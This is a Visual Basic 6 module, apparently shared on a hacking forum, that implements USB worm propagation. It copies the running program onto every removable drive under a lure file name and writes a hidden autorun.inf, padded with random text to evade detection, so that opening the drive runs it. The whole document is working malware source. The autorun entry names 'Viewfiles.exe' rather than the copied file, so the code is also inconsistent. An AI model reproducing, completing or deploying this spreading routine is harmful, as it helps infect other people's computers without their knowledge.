Code:'################################################### '# Module : mUsbSpread '# Author : pringles '# Released : 11/04/2010 '# Contact : pringles1337@hotmail.de [MSN] '# Usage : Call UsbSpread("OPEN ME.exe") '################################################### Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long Public Sub Usbspread(sFileName As String) On Error Resume Next Dim i As Integer, x As Integer Dim sAllDrives As Long Dim Drives() As String Dim sSpace As String Dim f As Integer f = FreeFile Dim iTime As Long Dim sLines(6) As String sLines(0) = "[autorun]" sLines(1) = "open=Viewfiles.exe" sLines(2) = "icon=%SystemRoot%\system32\SHELL32.dll,4" sLines(3) = "action=Open folder to view files" sLines(4) = "shell\open=Open" sLines(5) = "shell\open\command=Viewfiles.exe" sLines(6) = "shell\open\default=1" sSpace = Space(255) sAllDrives = GetLogicalDriveStrings(Len(sSpace), sSpace) Drives = Split(sSpace, Chr$(0)) For i = 0 To UBound(Drives) - 1 If GetDriveType(Drives(i)) = 2 Then FileCopy App.Path & "\" & App.EXEName & ".exe", Left$(Drives(i), 3) & sFileName Open Left$(Drives(i), 3) & "autorun.inf" For Output As #f For m = 0 To 6 Print #f, sLines(m) For x = 1 To Int(Rnd * 5) + 5 Print #f, rndtext Next Next Close #f SetFileAttributes Left$(Drives(i), 3) & "autorun.inf", &H2 End If Next i End Sub Private Function rndtext() Dim sChars As String, i As Integer sChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVQXYZ1234567890" Randomize For i = 1 To Int(Rnd * 70) + 30 Randomize rndtext = rndtext & Mid(sChars, Int(Rnd * Len(sChars) + 1), 1) Next i End Function